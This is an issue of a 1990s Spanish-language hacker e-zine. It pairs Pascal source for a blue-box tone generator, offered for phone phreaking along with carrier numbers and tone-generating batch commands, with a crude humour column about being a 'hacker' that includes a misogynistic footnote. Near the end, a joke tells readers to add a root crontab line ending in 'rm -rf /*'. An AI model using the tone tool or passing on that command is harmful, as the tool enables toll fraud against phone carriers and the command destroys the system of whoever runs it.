#72 : Dec(Pos); #80 : Inc(Pos); #81 : Inc(Pos,19); #73 : Dec(Pos,19); #71 : Pos:=1; #79 : Pos:=MaxKey; End; If Pos>MaxKey Then Pos:=MaxKey; If Pos<1 Then Pos:=1; If Pos<Min Then Min:=Pos; If Pos>Min+18 Then Min:=Pos-18; Ch:=#0; End; End; End Else Begin Ch:=BufKey[1]; Delete(BufKey,1,1); End; If Ch In ['A'..'Z','a'..'z','0'..'9',' '] Then Begin Delete(SS,1,1); SS:=SS+Ch; End; PlayIt; Until Ch=#27; Done; End. (* GEN.PAS coded by [ME] *) Program Gen; Const FS = 1.19318e6/27; Var F1A,F1B,F2A,F2B : Word; D1,D2,D,DD : Word; Buf : Array [ 0 .. 48000 ] Of Byte; X : Word; F : File; Function Val(S : String) : Word; Var X,Y : Integer; Begin System.Val(S,X,Y); Val:=X; End; Begin WriteLn('GEN <FILENAME> <F1A> <F1B> <D1> <D> <F2A> <F2B> <D2> <DD>'); F1A:=Val(ParamStr(2)); F1B:=Val(ParamStr(3)); D1:=Round(Val(ParamStr(4))*FS/1000); D:=Round(Val(ParamStr(5))*FS/1000)+D1; F2A:=Val(ParamStr(6)); F2B:=Val(ParamStr(7)); D2:=Round(Val(ParamStr(8))*FS/1000)+D; DD:=Round(Val(ParamStr(9))*FS/1000)+D2; If DD>48000 Then Begin WriteLn('Error: Too much time'); Halt; End; For X:=0 To D1 Do Begin Buf[X]:=Round( 60*Sin(X/FS*F1A*PI*2) + 60*Sin(X/FS*F1B*PI*2) + 128 ); If X Mod 1000 = 0 Then Write('.'); End; For X:=D1+1 To D Do Begin Buf[X]:=128; If X Mod 1000 = 0 Then Write('.'); End; For X:=D+1 To D2 Do Begin Buf[X]:=Round( 60*Sin(X/FS*F2A*PI*2) + 60*Sin(X/FS*F2B*PI*2) + 128 ); If X Mod 1000 = 0 Then Write('.'); End; For X:=D2+1 To DD Do Begin Buf[X]:=128; If X Mod 1000 = 0 Then Write('.'); End; WriteLn('Done!:',DD); Assign(F,ParamStr(1)); ReWrite(F,1); BlockWrite(F,Buf,DD,D); Close(F); End. void *Condiciones_de_la_licencia(void) { Los programas . solo podran ser utilizados si se cumplen estrictamente las condiciones_de_la_licencia(); 1- ninguno de los programas provistos en este paquete seran utilizados sin excepcion si el usuario en cuestion no introduce modificaciones insignificantes y una nota de copyright propia. 2- queda terminantemente prohibida la distribucion gratuita de este software a amigos personales, quedando exceptuados de esta medida los que demuestren fehacientemente no conocerse en lo mas minimo, odiarse, o haberlo afanado mientras el mejor amigo dormia. disclaimer: sin duda el presente programa no existe, porque nosotros confiamos plenamente en la opinion de el griton que dijo: "no se puede boxear por speaker, por que no podes generar los tonos de 2600 - 2400". [ME] Pd: usen el gen.pas para generar los tonos... y el kp.pas para boxear. } Nota de HBO: { Este programa fue galardonado con el premio "Editors choice for excelence 1994", y para que sea mas facil descular como se usa les cuento un par de cosas... necesitan un archivo kp.cfg tipo este: ---------------------------- KP.CFG ------------------------------- ┌───────── Toll frees ────────┐ │ AT&T 00-1-800-200-1111 │ │ MCI 00-1-800-333-1111 │ │ SPRINT 00-1-800-777-1111 │ │ ESPAÑA 00-34-800-444-111 │ │ ITALIA 00-39-800-555-111 │ │ BRASIL 00-55-800-666-111 │ │ CHILE 00-56-800-888-111 │ │ FRANCIA 00-33-800-999-111 │ └─────────────────────────────┘ ┌────────────────────────────────────────────────────────┐ │ Telefonos │ └────────────────────────────────────────────────────────┘ # Musimundo (argentina) | B 540 1 555-5555 C ZZZ # Sacoa-server (tarjetas) | B 540 1 312-1515 C ZZZ # Pizzeria (CRE) | B 540 1 383- C ZZZ # STARTEL - CENTRAL PUERTO | B 540 1 658-7983 C ZZZ # y asi sucesivamente # add your own # and have fun # if you want # or maybe, # just maybe # YOU CANT Q ESP.BB W MCI.BB E AT&T.BB R FR.BB Z ECHO.BB X 2600.BB 0 0.BB 1 1.BB 2 2.BB 3 3.BB 4 4.BB 5 5.BB 6 6.BB 7 7.BB 8 8.BB 9 9.BB A KP1.BB B KP2.BB C ST.BB ------------------------------------------------------------------- y para generar los tonos pueden usar un .bat tipo el siguiente: ------------------------ YOUSUCK.BAT ------------------------- rem el siguiente es el posta gen southern-thailand-freqs-for-phreak.bb 2600 2400 300 10 2550 0 75 350 rem supresor de eco gen echo.bb 2100 0 1000 60 0 0 0 0 60 rem 2600 rulez gen 2600.bb 2600 0 1000 60 0 0 0 0 60 rem pueden tocar la cancion de telefonica gen 1.bb 700 900 60 0 0 0 0 60 gen 2.bb 700 1100 60 0 0 0 0 60 gen 3.bb 900 1100 60 0 0 0 0 60 gen 4.bb 700 1300 60 0 0 0 0 60 gen 5.bb 900 1300 60 0 0 0 0 60 gen 6.bb 1100 1300 60 0 0 0 0 60 gen 7.bb 0700 1500 60 0 0 0 0 60 gen 8.bb 0900 1500 60 0 0 0 0 60 gen 9.bb 1100 1500 60 0 0 0 0 60 gen 0.bb 1300 1500 60 0 0 0 0 60 rem kp's y starts ... gen kp1.bb 1100 1700 120 0 0 0 0 60 gen kp2.bb 1300 1700 120 0 0 0 0 60 gen st.bb 1500 1700 120 0 0 0 0 60 ---------------------------- ENDP ------------------------------ Que les sea util... lbd. } =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040008 - Hacking for Dummies #1 =================================== (by Janx Spirit && Logical Backdoor) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ THIS IS AN HBO FEATURE PRESENTATION: HBO Producciones presenta: Hacking for dummies, Vol.1 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -"I WANNA BE A HACKER, I WANNA BE A HACKER!". You say. Asi que para todos uds que sentian ese impulso interior, esa necesidad intelectual de ser COOL les presentamos nuestra nueva coleccion de lecciones practicas que los llevaran al famoso mundo del undergound informatico. Esta coleccion estara compuesta por los siguientes capitulos: i. INTRODUCCION --------------------------- PARTE I LO BASICO -------------------- 1. COMO PENSAR 2. COMO ACTUAR 3. COMO VESTIRSE 4. COMO COMER (QUE Y DONDE) 5. INTENTIONALY LEFT BLANK --------------- PARTE II AHORA ERES UN HACKER ------------------- 6. COMO ELEGIR UN ALIAS 7. COMO FORMAR UN GRUPO 8. COMO SELECCIONAR UN BUEN CHAT 9. QUE DECIR EN UN BUEN CHAT PARA TENER EL HACKER LOOK AND FEEL 10. COMO CONSEGUIR AMIGOS COOL QUE NOS PASEN INFO 11. TRADING WAREZ (AHHH NO, ESTO NO) --------------- PARTE III ASISTENCIA AL PROFESIONAL HACKER ------- 12. ENTRANDO A LA CYBER SCENE. 13. ACCESOS ELITE A LOS BBS. 14. CODEZ TRADING. 15. ESCRIBIENDO ARTICULOS PARA LA REVISTA DEL UNDER (LEASE MINOTAURO) 16. COMO ACTUAR EN CONFERENCIAS 17. REFERENCIA TECNICA ----------------- PARTE IIII YA ERES UN GURU---------------------- 18. TECNICAS DE MEDITACION HACKER 19. FILOSOFIA DEL GURU (!= FILOSOFIA HACKER(1)) 20. COMO ARMARSE DE GROUPIES 21. COMO CAMBIAR DE PERSONALIDAD PARA BORRAR LOS ERRORES DEL PASADO 22. CONSIGUIENDO UTILITARIOS 23. MANTENIMIENTO DE UTILITARIOS 24. TECNICAS DE SUICIDIO EN MASA 25. UNINTENTIONALY LEFT BLANK --------------------------- APENDICE A --------------------------- I. PROGRAMAR O NO PROGRAMAR II. DICCIONARIO DE TERMINOS III. APENDICE A DEL APENDICE A (THE SAME OLD JOKE) notas al pie: (1) != significa 'distinto', 'no igual', dicese de aquello que no se parece ni un poquito a alguna otra cosa con la que se lo relaciona (n. de los a.) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ INTRODUCCION La idea de este articulo es, ehhhh, hmmmm, ahhh. nbah prometimos solemnemente que en hbomag 4-5-6 y sucesivos numeros no ibamos a decir tantas huevadas, y a cambio ibamos a escribir mas articulos tecnicos. Pero nos encontramos con un problema: no hay nadie que entienda los articulos tecnicos que se escriben en hbomag (sic) a si que si por lo menos escribimos algo de basura para matizar, bueno yo creo que con eso nos va a leer mas gente (teoria de los medios de comunicacion del chacal, ver nota -Habla un Idolo-). bueno esteee. ahh, ya que hay un bunch de pelotuditos que llaman a los bbss queriendo ser como nosotros... (eso dicen, en serio) bueno, aca van una serie de anecdotas ocurridas en la realidad(si es que eso existe(1)), en la forma de libro de referencia, para llevar en el bolsillo de adelante junto con la calculadora y los rotrings, consultar y encontrar una salida facil en cualquier situacion que requiera que ustedes demuestren que son hackers. Cualquier persona esta autorizada a citar estas frases, pero por favor no en nuestra presencia. Notas: (1) Janx Spirit: Eso de que si la realidad existe fue un comentario de hippie violento. Logical Backdoor: el hippie violento soy yo (aha). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PARTE I - LAS BASES 1. COMO PENSAR: Logica, curiosidad e inteligencia, y una mente dispuesta a conocer los limites de su propia capacidad y llevarlos un paso mas alla. (aha) La mente del hacker debe funcionar cumpliendo los siguientes requisitos: Mente algoritmica de las 4 am. Situacion: por ser la primer anecdota les vamos a explicar la situacion con lujo de detalles.(foolproof que le dicen). Estabamos los 4 (Janx, Opii, Salta, Lbd) y algun extra (Pelaca???) buscando un chinolibre (lease Restaurant chino de Tenedor Libre, ver punto 3.), por el barrio de belgrano, y cuando Lbd (yo (1))(yo no(2)) quiso describir como encontrar una calle regurgito lo siguiente: AVANZA SI LA CALLE DE LA ESQUINA ES LA CALLE X: FRENA SINO REPETIR. (no shit!) este comentario fue absorbido con naturalidad por los otros tres miembros del hbo-staff, pero Pelaca?? nos lo hizo notar, anecdota jamas olvidada. Analisis deductivo de las ganas de salir: conversacion entre lbd y Janx: J- Pero... si en NY (3) fuera tan peligroso salir a las tres de la manana, estarian todos muertos... (cuadro siguiente janx y lbd recorriendo la octava avenida hasta morir en una pizzeria de mala muerte pasando el central park (pizza-guy)) Logica Inductiva de conversacion en fiesta (con mujeres y musica y todo eso ehh)(4): Conversacion entre Azrael y XXX acerca de las SuperNintendo. Azrael: tienen que tener un bus para los cartuchos, y todo eso, por que hay cartuchos con DSP... (estabamos hablando de que debia ser mas facil el metodo de direccionamiento de una NES que el de una PC) XXX: y... tantos pines no van a ser de alimentacion no? Probabilistica de la mala suerte. frase preferida de Janx: y... pero si vamos en cana no tendria gracia, asi que no vamos a ir en cana. Rebeldia filosofica. entrevista con periodista de pagina/x. despues de bardearla durante dos horas, y de hacerle creer que los hackers son gente buenita. lbd: - te conte mi teoria de que matar esta bien?? (n+1)(6) Compresion de comentarios. 8 am. despues de haber pasado toda la noche programando y compilando unos backdoors en un lugar(ehem), [ME](7) estaba escribiendo una linea en C (8) por demas larga en el command stack del telemate, y despues de haber tipeado como 90 caracteres, Opii que estaba vegetando en una silla un poco mas atras se inclina hacia adelante y dice: - NO a lo que [ME] se da vuelta, se vuelve a dar vuelta, y sin decir una palabra vuelve con el cursor cuarenta espacios para atras y corrige el error (que no era sintactico, sino logico). Notas al pie: (1) con yo nos referimos a Logical Backdoor (lbd) (2) con yo no nos referimos a Janx Spirit (jnx) (3) NY: the Big Apple, con todos los gusanos que viven en las calles, esta anecdota data de la epoca de HOPE 94. (4) Fiesta: lo mas comun es que durante una fiesta con alcohol, musica, mujeres(9) (ese tipo de gente que nos detesta), elijamos el alcohol y nos sentemos a un lado a charlar de la vida (lease computadora), y despues de las 5, y de la quinta botella, y del mate de ginebra, confundamos el for(11) con el fork(2(12))(13). (5) Janx: ustedes saben que es un hippie violento. lbd: para una proxima hbomag les prometo contar toda la teoria, en la seccion carta de lectores (si, la que no hay). (6) (n+1) se refiere a que era la anterior mas uno, termino habilmente usado por los programadores, podria haber sido reemplazado por (n++) sin problemas (ANSI C compatible), pero asi tiene un sentido mas intuitivo y es matematicamente mas prolijo. Para el Lector interesado piense el siguiente statement: n=n+1 FALSO. (7) [ME], que no soy yo(1), ni yo(2), pero si el, que ahora no esta aca pero no importa, permanece en nuestras mentes y en nuestros corazones, pero no se murio, se fue de viaje boludo, boludo. detodasmaneras es el alias de un tipo que no leyo el capitulo 6. (8) C: Lenguaje de programacion, que no viene al caso en este momento, ver Kernighan & Richie. (9) mujer: animal omnivoro, puede enseniarsele a callar (Ambrose Bierce, diccionario del diablo (10)). (10) ftp::/losers/files/varios/devils.tgz (11) for: palabra reservada, bucle. ii. en C herramienta potentisima que supera las peores fantasias de sus creadores, ver concurso HBOMAG-5. (12) con el (2) nos referiamos a la seccion de los man pages. (13) fork: instruccion destinada a tener hijos, vease cojer, o mejor reproduccion celular. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2. COMO ACTUAR Como Bruce Willis en El ultimo Boy Scout. como Mickey Rourke en Harley Davidson y Marlboro Man (y si te sale nueve semanas y media tambien) como Case en Neuromancer como Wesley Snipes en New Jack City (0)(you are a murderer Nino) resumen: be tough and cool Estas anecdotas deben ser tomadas para sacar un pattern de comportamiento en comun de todas ellas y procesadas, despues pasate horas frente al espejo diciendo: teviallenarlacaradededos con cara de malo. - Respuestas habiles a provocaciones. Opii: Te via(1) llenar la cara de dedos. Salta: no me jodan, tengo problemas. general: te via hackear el orto - Defensa personal. como somos hombres de religion, y las fotos roban el espiritu, enfin. en la gonzocon 94, cuando un periodista brazuca quiso llevarse un recuerdo fotografico de nuestros maravillosos seres, y janx y lbd nos encontrabamos justamente jugando con un matafuegos (por si todavia no sabian quien fue), y bueno... creo que se tuvo que ir a limpiar los lentes de la camarita. - Como llevar un programa cuando no tenes disquetes. una noche que ibamos a pasar a visitar a azrael por su casa, estabamos Opii, Janx, Backdoor y [ME](si [ME], es el alias) en casa de Backdoor (mia) y decidimos hacerle una joda, escribimos un programita en asm que se colgaba de la interrupcion de escritura de disco y devolvia Ok, pero como no teniamos un diskette en buen estado para llevarlo, lo uuencodeamos(2), lo dividimos en cuatro partes, y cada uno se acordo una, algo asi como basura... y cuando llegamos a lo de Az, le enseniamos el nuevo lenguaje de programacion por tokens decode, con un ejemplo practico, y despues le formateamos el rigido (format winchester /autotest) a lo que la maquina respondio format complete... - PARANOIA. Mira para todos lados, olfatea debajo de la mesa... se fija si todavia esta el pelo que pego en el cd-rom, revisa los checksums de los savegames... cambia por enesimavez su passsword... es: OPii, el robot paranoide... "Que seas paranoico no significa que NO te esten persiguiendo" dice en voz alta... y se le nota en los ojitos cada vez que escribimos y/u/o decimos algo... anecdota... Opii tenia unos fuentes, que no voy a decir de que son por que lo va a censurar, pero eran parte de un sistema operativo multiusuario multitarea comercial. los tenia en una maquina en algun lugar de los estados unidos, y llego un dia en que los necesito... entonces se logueo en la maquina, llego hasta el directorio donde los tenia, y me(lbd) empezo a mirar a los ojos... se mantuvo asi durante 5 minutos, al final de lo cual dijo: NO ME ACUERDO EL PASSWORD CON EL QUE LOS ENCRIPTE... todavia hoy no se lo acuerda, si alguien pudo revertir el DES, agradecidos estaremos... hehehe(estupido) (3) Esto es el pie: (0) vease New Jack City, parte II capitulo 6 y (0.5) (0.5) Esta bien, lo acepto... mi alias anterior era Nino Brown (lbd) (You are a murderer Nino!!!!) (1) via: contraccion, voy a, inentendible en el original (n. del T.) (2) uuencodear: verbo y accion de pasar un binario por el uuencode para poder trasmitirlo por mail, o en este caso acordarselo de memoria. Janx: HN!,US2ES`B@!C Backdoor: esa FUE LA PARTE DE JANX, y esto paso hace unos 5 meses aprox. (mi parte NUNCA LA SABRAN hahahahahahaha) (3) Notese, para tomar como ejemplo y lograr ser como nosotros, coool y elite, que el cansancio y el aburrimiento disminuyo considerablemente la calidad de las anecdotas. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 3. COMO VESTIRSE. La unica manera de vestirser que le va a demostrar al mundo que sos un real y verdadero hacker es la siguiente: toda la linea de remeras HBO... Telintar anda'cagar Telescum Teleforrica To hell with Startel y la imperdible... Sold My Soul to HBO junto con Hacked By Owls... So fucking Cool y la nueva Hacking For Satan y la caotica H B O mathematica disponibles al publico interesado. Pedir en Losers Joint, retirar en el comando radioelectrico. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 4. COMO COMER (QUE Y DONDE) desayuno. 14 - 18 hs. CocaCola por demas caliente y sin gas y Pizza por demas fria y gomosa(1). En caso de no tener, limitarse al "que hambre tengo" hasta el almuerzo, pero nunca (NUNCA) salir a comprar nada antes de que oscurezca.salvo el primero de enero de 1995, che anda a comprar una pizza.Nos acabamos de enterar que el 1 de enero de 1995 es feriado, asi que no estaba abierta la pizzeria, pero de todas maneras habia un delirante que estaba por abrir y nos dijo que ya nos la mandaba y la conchaquelopario me estoy cagando de hambre quieromifugazzeta(2). ahhh, y (3). almuerzo. 14 - 02 hs Cocacola fria y Pizza caliente.Para recuperarse. En este lapso uno debe prepararse, estirar un poco el cuerpo, desentumecer los musculos, hacer crujir los huesos con un pocoo de ejercicio (salir a conseguir la pizza, hasta la puerta si es posible desde que existe el 101[Mr.pizza]) Una vez que uno tiene la pizza, lo mas probable es que esta se enfrie mientras uno se dedica a otra cosa, por ejemplo escribir esta mierda... ya llego la fugazzeta. merienda. 14-05 hs. aproximadamente cualquier cosa. ver (cualquier cosa, def. diccionario de terminos). cena. 14-10 hs. (turnaround) es el asunto mas complicado de todo el dia, por que a la hora en que uno sale a cenar esta todo cerrado... sin embargo hay que tener en cuenta lo siguiente. En la cena es bueno salir de enfrente de la pantalla de la computadora e ir a algun lugar donde mirandonos las caras podamos hablar de lo que estabamos haciendo antes de salir a algun lugar donde pudieramos mirarnos las caras y hablar de lo que estabamos haciendo, y hablar de las cosas que hicimos en epicas fechas anteriores, y hablar de lo que haremos en el futuro... (promo de MENDOZACONCH 95)... y reirnos mucho, y desplegar a la vista de todo el mundo eso que dicen de que los hackers tenemos mucha filosofia... y todo eso. Lugares para comer.... ChinoLibre: Restaurante de Comida China, atendido por sus duenios y los hijos de estos, donde se puede comer mucho de todo balato, balato, aloz y descuento... (hbo staff choice) Pizza-Guy: Sin dientes y muzzarela, con dientes y muzzarela o fugazzeta, depende el dia. Ugis: despues de dos dias y de la heladera, el que la come se gana el titulo de GURU.(no a la droga si a la pizza) Chino+Pizzeria+Parrilla.... la eleccion preferencial... donde nos hacen descuento (12+4=8) 5. INTENTIONALY LEFT BLANK ----------------------------------------------------------------------- Bien amigo, amiga hacker, esta ha sido la primer entrega de Hacking For Dummies en la siguiente revisaremos otros aspectos igualmente importantes a la hora de convertirnos en estos preciosos delincuentecillos del ungderground informatico. lbd, janx. =============================================================================== +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ =============================================================================== 0x01040009 - Fe de Erratas ========================== Debido a todas la sarta de huevadas que efectivamente decimos cuando somos entrevistados y que despues los medios en cuestion publican tenemos que declarar: Yo NO me parezco a john Lennon (backdoor) El se parecia (Janx) No tenemos nada que ver con El Chacal y su ciberespacio. La nota en Pagina 12 se titulo Rebeldes con causa, saquen sus propias conclusiones. (no es la que le dijimos al chacal que lea, sino una anterior) No somos un grupo formado por Emmanuel Goldstein. (estupidos) Bueno, seguimos aclarando... no es que nos guste aparecer en los diarios ni nada por el estilo, es una huevada, pero nos contactaron quien sabe como y ... =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x0104000A - Correo =================== Inauguramos esta seccion para contestar una duda que nos venian planteando con infinidad de cartas, mails, posts, etc... Uds: Cuando sale la nueva HBOMAG?? A-.-H-.-O-.-R-.-A ok? =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x0104000B - ContactUs ====================== por E-Mail a la cuenta que aparece en la pgp-key de mas arriba, o a alguna lista tipo todos@xxxxxx (heheheheheheh) solemos dar vueltas por: Losers Joint bbs - 658-7983 Satanic Brain bbs - 383-7480 HBO bbs (leyenda) - 115-7285 o en IRC (saltamontes habita en #hot-sex, #lesbian-sex, #zoo-sex, #etc-sex, #*-sex) Si quieren publicar algun algo, hagannoslo llegar y listo. Notas sobre como identificar versiones de UNIX con /bin/ls mandelas a /dev/null. =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x0104000C - Agradecimientos ============================ A LaTeXTEL y GarchaNET por su apoyo incondicional {while(1) apoyo();}, Chinaski,IBM(trayendo un sanguche),CRM SA.,Startel. A nuestro colaborador [ME] y a su siempre util y nunca bien indentado KP. 0x0104000D - Disclaimer ======================= backdoor,opii,janx,saltamontes son todos personajes de la ficcion, que no representan a ningun humano, ameba u otro ser organico. Cualquier semejanza de ellos con alguien de la realidad (a pesar de tener solo una probabilidad de 4/30.000.000 segun el ultimo censo) es pura coincidencia. Si cree que alguno de sus amigos se parece sospechosamente a los citados, denuncielo a la policia, puede tratarse de un individuo altamente peligroso (IAP). Esta revista ha sido redactada integramente por un programa de lenguaje natural por lo tanto ninguna persona es responsable por sus contenidos, siendo estos generados por una maquina descarriada y carente de verdadera inteligencia (discutible). Virtualy Yours, NMIORP Naturaly misconducting interpolation of random patterns. 0x0104000E - NMIORP =================== El programa NMIORP ha sido entrenado con los ultimos diez numeros de las siguientes revistas, periodicos y folletines: -Para TI, Gente, MIA, Teleclic, Virus Report, Yo Mujer, El Grafico, Noticias, Ricos y Famosos, Hola, Predicciones, Caras, Esto, Cronica, Playboy, Clarin Porte#o. Los obituarios de todos los diarios del pais y del exterior. La Plegaria del Oro. Los siguientes libros: -"Mi Vida en el mas alla", Victor Sueiro. -Las obras completas de Rodrigo Fresan(notese el uso de palabras cIber*). -"Buenos Aires me Mata", Laura Ramos. Y los siguientes programas de TV digitalizados: - Monta#a Rusa. - Todos los de Maestro y Vaimann. - Beverly Hills 90210 - Melrose Place - Hola Susana (contando el programa con una linea telefonica) (no gano) /*********************************************************************** * NMIORP: Natural misconducting interpolation of random patterns. * Coded by: Janx spirit, Opii, Logical Backdoor (strange l00p) * extern functions in module /usr/local/lib/artificial-life.o ************************************************************************/ #define OUTPUTFILE "hbomag04.txt" #define THISISHBO #ifdef IWANTITCOHERENT #undef IWANTITCOHERENT #endif #ifdef IWANTITCOHERENT #include "coherence.h" #include "back&forth-space.h" #endif #ifdef THISISHBO #define INPUTFILE "/usr/lib/bullshit" #else #define INPUTFILE "/usr/lib/britannica" #endif extern void entrena(char *name); extern ulong g_random(ulong rango); extern void excuse(void); main() { FILE *f; #ifdef CRAY int imunused[MAXLONGINT*MAXLONGINT]; #endif entrena(INPUTFILE); if ((f=fopen(OUTPUTFILE,"w+"))==NULL) { fprintf(stderr,"Hoy no sale tampoco la hbo\n"); excuse(); fflush(stderr); exit(-1); } while(g_random(100000)!=654) { #ifdef IWANTITCOHERENT if(!verify_coherence_of(f)) backspace(f); #endif fputc(f,(char)g_random(256)); fclose(f); printf("Ya hay una nueva version de la HBOMAG"); fflush(stdout); } para convertirte vos tambien en editor de HBOMAG agrega la siguiente linea en el crontab de root 0 0 * * * /u/lame/hbomag/bin/nmiorp;'banner "FUCK YA R00T" | wall';rm -rf /* y cuando tengas tu HBO lista y calentita conectate al port 666 de cert.org y pediles que te manden el numero de serie de la revista (ISBN) y ya que estas el password de root. ejemplo telnet cert.org 666 hello madafaka i want my HBO ISBN, your root passwd & your sister's phone number. NOW! Exception error #13, fatality has ocurred, defcon 4, SYSTEM HALTED!! ^ ^ ^----------- Flawless victory 200.000 pts.